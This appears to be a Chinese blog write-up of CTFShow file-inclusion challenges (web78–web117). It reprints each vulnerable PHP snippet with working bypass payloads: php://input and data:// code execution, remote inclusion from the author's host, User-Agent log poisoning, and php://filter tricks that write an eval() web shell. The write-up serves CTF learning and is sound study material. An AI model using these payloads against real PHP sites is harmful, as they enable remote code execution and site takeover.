CTFShow 文件包含

什么是文件包含漏洞

文件包含的思路:

  1. 有文件上传的地方,可以上传一个带有后门代码的图片,然后想办法让其包含这个文件
  2. 没有文件上传,借助日志文件写入(UA),session文件写入(可能会有条件竞争)
  3. 没有文件上传,借助伪协议进行文件读写(各种编码算法的转换)

web78

目的很明显,需要我们去包含一个文件。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

先尝试?file=flag.php试一下,并没有什么效果。
之后根据提示采用伪协议
在url后拼接?file=php://input,在post里输入<?= system('tac flag.php'); ?>即可。

web79

这里开始过滤php关键字了,并且因为它将php替换成了???,所以这里不可以使用双写绕过。
这里可以使用data协议来进行包含

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTsgPz4=

web80

image
这次的过滤了php和data两个关键字。
但是我们可以使用http协议,使用远程文件包含的方法。
这是我的远程文件地址

http://544d4e19.r2.cpolar.top/3.txt

3.txt的内容

<?php system('tac f*'); ?>

payload语句

?file=http://544d4e19.r2.cpolar.top/3.txt

web81

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤了php,data,:关键词,这里不可以使用伪协议了,因为过滤了:

尝试使用日志文件包含。
nginx日志文件路径位于/var/log/nginx/access.log
先访问一下,看是否正确,结果是访问成功。

?file=/var/log/nginx/access.log

所以接下来只需要修改UA头即可。
把UA头修改成如下语句

<?= system('cat f*');?>

web87

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
} 

1

对?file=后的参数进行两次url编码。
php://filter/write=convert.base64-decode/resource=123.php编码两次得到

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30%25%32%30

之后对content里的内容进行base64加密:
原文:<?php eval($_GET['a']);?>
密文:PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg==
还需要在密文前面添加两个字符aaPD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg==

为什么还需要在密文前面添加两个字符?因为通过base64过滤之后就只有(phpdie)6个字符我们就要添加2个字符让前面的可以进行编码

image
之后访问
/123.php?a=system("tac fl0g.php");即可。

2

或者可以使用rot13加密,这样就不需要对base64加密后的密文再添加两个字符了。

php://filter/write=string.rot13/resource=2.php

密文:

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%32%25%32%45%25%37%30%25%36%38%25%37%30

content提交的原文

<?php eval($_GET['a']);?>

rot13加密后的结果:

<?cuc riny($_TRG['n']);?>

完成后访问/2.php?a=system("tac fl0g.php");

web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤PHP,各种符号,php代码编码写出无符号base64值
payload语句

?file=data://text/plain;base64,PD89c3lzdGVtKCd0YWMgZionKTsxPz4K

web116

看不懂,照抄
http://t.csdn.cn/pqYs9

web117

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

除了php协议,都被过滤了。

php://filter/write

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
相关文章:https://www.anquanke.com/post/id/202510#h2-20
演示代码:

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

payload语句:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?
posted @ 2022-10-03 09:40  请去看诡秘之主  阅读(68)  评论(0编辑  收藏  举报